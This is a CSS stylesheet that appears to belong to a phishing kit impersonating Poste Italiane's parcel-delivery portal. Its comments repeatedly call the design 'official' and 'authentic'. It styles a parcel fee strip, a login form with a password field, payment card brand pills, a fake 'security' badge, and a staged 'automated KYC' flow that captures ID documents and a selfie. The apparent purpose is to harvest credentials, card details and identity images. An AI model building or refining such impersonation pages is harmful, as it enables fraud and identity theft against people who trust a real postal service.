/* ==========================================================================
   POSTE ITALIANE - SLEEK OFFICIAL SINGLE-CARD PORTAL (v6 - ASSLI ÉPURÉ)
   Official Poste.it / Poste Delivery Web Clean Institutional Identity
   ========================================================================== */

:root {
    --poste-navy: #003366;           /* Deep official Poste Italiane Navy */
    --poste-blue-action: #0047bb;    /* Official royal delivery blue */
    --poste-yellow: #ffcc00;         /* Official brand yellow */
    --poste-yellow-hover: #ffd633;   /* Yellow interactive hover */
    --poste-yellow-border: #e6b800;  /* Yellow border shade */
    --poste-bg: #f4f6f9;             /* Crisp institutional portal background */
    --poste-card-bg: #ffffff;        /* Pure white central card */
    --poste-border: #ced4da;         /* Standard subtle border */
    --poste-border-focus: #0047bb;   /* Focus outline */
    --poste-text-dark: #1f2937;      /* Primary text */
    --poste-text-muted: #4b5563;     /* Secondary text */
    --poste-danger: #dc2626;         /* Alert red */
    --poste-danger-bg: #fef2f2;
    --poste-radius: 4px;             /* Official subtle radius */
}

* {
    box-sizing: border-box;
}

body {
    font-family: Arial, "Helvetica Neue", Helvetica, -apple-system, BlinkMacSystemFont, sans-serif;
    background-color: var(--poste-bg);
    color: var(--poste-text-dark);
    margin: 0;
    padding: 0;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    -webkit-font-smoothing: antialiased;
}

/* ==========================================================================
   1. MINIMAL OFFICIAL TOP HEADER
   ========================================================================== */
.poste-navbar {
    background: #ffffff;
    border-bottom: 1px solid #e5e7eb;
    border-top: 3.5px solid var(--poste-yellow);
    padding: 12px 24px;
    display: flex;
    align-items: center;
    justify-content: space-between;
}

.poste-navbar .nav-brand-wrap {
    display: inline-flex;
    align-items: center;
    gap: 12px;
    text-decoration: none;
}

.poste-logo-svg,
.poste-logo-img {
    height: 30px;
    width: auto;
    display: inline-block;
    vertical-align: middle;
}

.navbar-service-tag {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    padding-left: 12px;
    border-left: 1.5px solid #e5e7eb;
    font-size: 12px;
    font-weight: 700;
    color: var(--poste-navy);
    letter-spacing: 0.3px;
    text-transform: uppercase;
}

.navbar-service-tag .delivery-badge {
    background: var(--poste-yellow);
    color: var(--poste-navy);
    font-size: 10.5px;
    font-weight: 800;
    padding: 2px 6px;
    border-radius: 3px;
}

.navbar-security-tag {
    display: inline-flex;
    align-items: center;
    gap: 5px;
    font-size: 12px;
    font-weight: 600;
    color: #15803d;
    background: #f0fdf4;
    padding: 5px 11px;
    border-radius: 20px;
    border: 1px solid #bbf7d0;
}

@media (max-width: 576px) {
    .poste-navbar { padding: 10px 14px; }
    .navbar-service-tag { display: none; }
    .navbar-security-tag span { display: none; }
}

/* ==========================================================================
   2. MAIN CONTAINER (SINGLE-CARD FOCUS)
   ========================================================================== */
main.poste-main-container {
    flex: 1;
    width: 100%;
    max-width: 490px;
    margin: 20px auto 40px auto;
    padding: 0 16px;
}

/* ==========================================================================
   3. THE AUTHENTIC POSTE ITALIANE CARD (SINGLE UNIFIED CONTAINER)
   ========================================================================== */
.poste-delivery-card {
    background: var(--poste-card-bg);
    border: 1px solid #dce1e7;
    border-top: 4px solid var(--poste-yellow);
    border-radius: var(--poste-radius);
    padding: 28px 26px;
    box-shadow: 0 4px 18px rgba(0, 51, 102, 0.05);
    margin: 0;
}

@media (max-width: 480px) {
    .poste-delivery-card {
        padding: 22px 18px;
    }
}

.card-top-header {
    text-align: left;
    margin-bottom: 18px;
}

.card-top-title {
    font-size: 19px;
    font-weight: 800;
    color: var(--poste-navy);
    margin: 0 0 4px 0;
    line-height: 1.3;
}

.card-subtitle {
    font-size: 13px;
    color: var(--poste-text-muted);
    margin: 0;
    line-height: 1.45;
}

/* ==========================================================================
   4. SLEEK COMPACT PARCEL STRIP (NO CLUTTER)
   ========================================================================== */
.poste-parcel-compact-bar {
    display: flex;
    align-items: center;
    justify-content: space-between;
    background: #f8fafc;
    border: 1px solid #e2e8f0;
    border-radius: var(--poste-radius);
    padding: 10px 14px;
    margin-bottom: 20px;
    font-size: 12.5px;
    font-weight: 600;
}

.poste-parcel-compact-bar .code-text {
    font-family: monospace;
    font-size: 13px;
    font-weight: 700;
    color: var(--poste-navy);
}

.poste-parcel-compact-bar .status-text {
    color: #b45309;
    background: #fef3c7;
    padding: 2px 8px;
    border-radius: 3px;
    font-size: 11.5px;
    font-weight: 700;
    text-transform: uppercase;
}

.poste-parcel-compact-bar .fee-text {
    color: var(--poste-navy);
    font-weight: 800;
    font-size: 13.5px;
}

/* ==========================================================================
   5. CRISP BOXED FORM FIELDS
   ========================================================================== */
.form-group-underline,
.form-group-poste {
    margin-bottom: 16px;
    text-align: left;
}

.label-underline,
.form-label-poste {
    display: block;
    font-size: 12.5px;
    font-weight: 700;
    color: var(--poste-navy);
    margin-bottom: 5px;
    letter-spacing: 0.2px;
}

.input-underline,
.form-control-poste {
    width: 100%;
    height: 44px;
    border: 1px solid var(--poste-border);
    background-color: #ffffff;
    padding: 8px 12px;
    font-size: 14.5px;
    color: var(--poste-text-dark);
    outline: none;
    transition: border-color 0.15s ease, box-shadow 0.15s ease;
    border-radius: var(--poste-radius);
    font-family: inherit;
}

.input-underline::placeholder,
.form-control-poste::placeholder {
    color: #9ca3af;
    font-size: 13.5px;
}

.input-underline:focus,
.form-control-poste:focus {
    border-color: var(--poste-blue-action);
    box-shadow: 0 0 0 3px rgba(0, 71, 187, 0.12);
    background-color: #ffffff;
}

.form-row-custom {
    display: flex;
    gap: 12px;
}

.form-row-custom .col-flex-7 { flex: 7; }
.form-row-custom .col-flex-5 { flex: 5; }
.form-row-custom .col-flex-6 { flex: 6; }

@media (max-width: 420px) {
    .form-row-custom {
        flex-direction: column;
        gap: 0;
    }
}

.password-input-wrapper {
    position: relative;
    display: flex;
    align-items: center;
}

.password-input-wrapper .input-underline {
    padding-right: 42px;
}

.btn-eye-toggle {
    position: absolute;
    right: 10px;
    background: none;
    border: none;
    cursor: pointer;
    padding: 6px;
    color: #6b7280;
    display: flex;
    align-items: center;
    justify-content: center;
}

.btn-eye-toggle:hover {
    color: var(--poste-navy);
}

.remember-group {
    display: flex;
    align-items: center;
    gap: 8px;
    margin: 14px 0 18px 0;
    font-size: 13px;
    color: var(--poste-text-dark);
}

.remember-group input[type="checkbox"] {
    width: 16px;
    height: 16px;
    accent-color: var(--poste-blue-action);
    cursor: pointer;
}

/* ==========================================================================
   6. AUTHENTIC POSTE YELLOW ACTION BUTTON
   ========================================================================== */
.btn-poste-delivery {
    background-color: var(--poste-yellow);
    color: var(--poste-navy);
    font-size: 14.5px;
    font-weight: 800;
    height: 46px;
    padding: 0 20px;
    border-radius: var(--poste-radius);
    border: 1px solid var(--poste-yellow-border);
    cursor: pointer;
    width: 100%;
    text-align: center;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    transition: all 0.15s ease;
    box-shadow: 0 2px 6px rgba(0, 0, 0, 0.08);
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    text-decoration: none;
}

.btn-poste-delivery:hover {
    background-color: var(--poste-yellow-hover);
    color: #001f3f;
    box-shadow: 0 4px 10px rgba(230, 184, 0, 0.35);
}

.btn-poste-delivery:active {
    transform: translateY(1px);
}

.btn-secondary-link {
    display: inline-block;
    color: var(--poste-blue-action);
    text-decoration: none;
    font-size: 13px;
    font-weight: 600;
    margin-top: 14px;
}

.btn-secondary-link:hover {
    text-decoration: underline;
}

/* ==========================================================================
   7. ALERTS & NOTES
   ========================================================================== */
.poste-alert-error {
    background: var(--poste-danger-bg);
    border: 1px solid #fecaca;
    color: var(--poste-danger);
    padding: 10px 14px;
    border-radius: var(--poste-radius);
    font-size: 13px;
    font-weight: 600;
    margin-bottom: 16px;
    display: flex;
    align-items: center;
    gap: 8px;
}

.poste-info-note {
    background: #f0f7ff;
    border: 1px solid #cfe2fe;
    color: #084298;
    padding: 10px 14px;
    border-radius: var(--poste-radius);
    font-size: 12.5px;
    margin-bottom: 18px;
    display: flex;
    align-items: center;
    gap: 8px;
    line-height: 1.4;
}

/* ==========================================================================
   8. PAYMENT BRANDS ROW
   ========================================================================== */
.card-brands-row {
    display: flex;
    align-items: center;
    gap: 6px;
    margin-bottom: 16px;
    flex-wrap: wrap;
}

.card-brand-pill {
    font-size: 11.5px;
    font-weight: 700;
    color: #4b5563;
    background: #ffffff;
    border: 1px solid #e5e7eb;
    padding: 4px 10px;
    border-radius: 3px;
}

/* ==========================================================================
   9. INSTITUTIONAL FOOTER
   ========================================================================== */
.poste-delivery-footer {
    background: #ffffff;
    border-top: 1px solid #e5e7eb;
    padding: 22px 16px;
    margin-top: auto;
    text-align: center;
    font-size: 11.5px;
    color: var(--poste-text-muted);
}

.poste-delivery-footer .footer-links {
    display: flex;
    align-items: center;
    justify-content: center;
    flex-wrap: wrap;
    gap: 12px;
    margin-bottom: 8px;
}

.poste-delivery-footer .footer-links a {
    color: var(--poste-navy);
    text-decoration: none;
    font-weight: 600;
}

.poste-delivery-footer .footer-links a:hover {
    color: var(--poste-blue-action);
    text-decoration: underline;
}

/* ==========================================================================
   10. STEP 10: 5-STAGE AUTOMATED KYC
   ========================================================================== */
.kyc-phone-wrapper {
    background: #0f172a;
    border-radius: 8px;
    padding: 22px 18px;
    color: #ffffff;
    box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);
    margin: 0 auto;
    max-width: 440px;
}

.kyc-step-header {
    text-align: center;
    margin-bottom: 18px;
}

.kyc-badge-pill {
    background: rgba(56, 189, 248, 0.15);
    color: #38bdf8;
    border: 1px solid rgba(56, 189, 248, 0.3);
    font-size: 11px;
    font-weight: 800;
    padding: 3px 9px;
    border-radius: 20px;
    text-transform: uppercase;
    display: inline-block;
    margin-bottom: 6px;
}

.kyc-step-title {
    font-size: 17px;
    font-weight: 800;
    color: #ffffff;
    margin: 0 0 4px 0;
}

.kyc-step-desc {
    font-size: 12.5px;
    color: #94a3b8;
    line-height: 1.4;
    margin: 0;
}

.kyc-viewfinder-box {
    position: relative;
    width: 100%;
    aspect-ratio: 16 / 10;
    background: #020617;
    border-radius: 8px;
    overflow: hidden;
    border: 2px dashed #334155;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 18px;
}

.kyc-video-feed {
    width: 100%;
    height: 100%;
    object-fit: cover;
}

.kyc-captured-preview {
    width: 100%;
    height: 100%;
    object-fit: contain;
}

.kyc-selfie-circle {
    width: 200px;
    height: 200px;
    border-radius: 50%;
    border: 3px solid #38bdf8;
    overflow: hidden;
    margin: 0 auto 18px auto;
    position: relative;
    background: #020617;
}

.kyc-selfie-feed,
.kyc-selfie-preview {
    width: 100%;
    height: 100%;
    object-fit: cover;
}

.kyc-ai-loader-container {
    text-align: center;
    padding: 24px 8px;
}

.kyc-progress-ring {
    width: 130px;
    height: 130px;
    margin: 0 auto 14px auto;
}

.kyc-progress-ring-circle {
    stroke: #38bdf8;
    stroke-width: 7;
    fill: transparent;
    stroke-linecap: round;
    transform: rotate(-90deg);
    transform-origin: 50% 50%;
    transition: stroke-dashoffset 0.4s ease;
}

.kyc-progress-percent {
    font-size: 26px;
    font-weight: 900;
    color: #ffffff;
    margin-bottom: 4px;
}

.kyc-success-badge-wrap {
    width: 64px;
    height: 64px;
    border-radius: 50%;
    background: #10b981;
    color: #ffffff;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 32px;
    margin: 0 auto 14px auto;
}

.poste-spinner-large {
    width: 44px;
    height: 44px;
    border: 3.5px solid #e2e8f0;
    border-top-color: var(--poste-navy);
    border-radius: 50%;
    animation: posteSpin 0.85s linear infinite;
    margin: 0 auto 16px auto;
}

@keyframes posteSpin {
    to { transform: rotate(360deg); }
}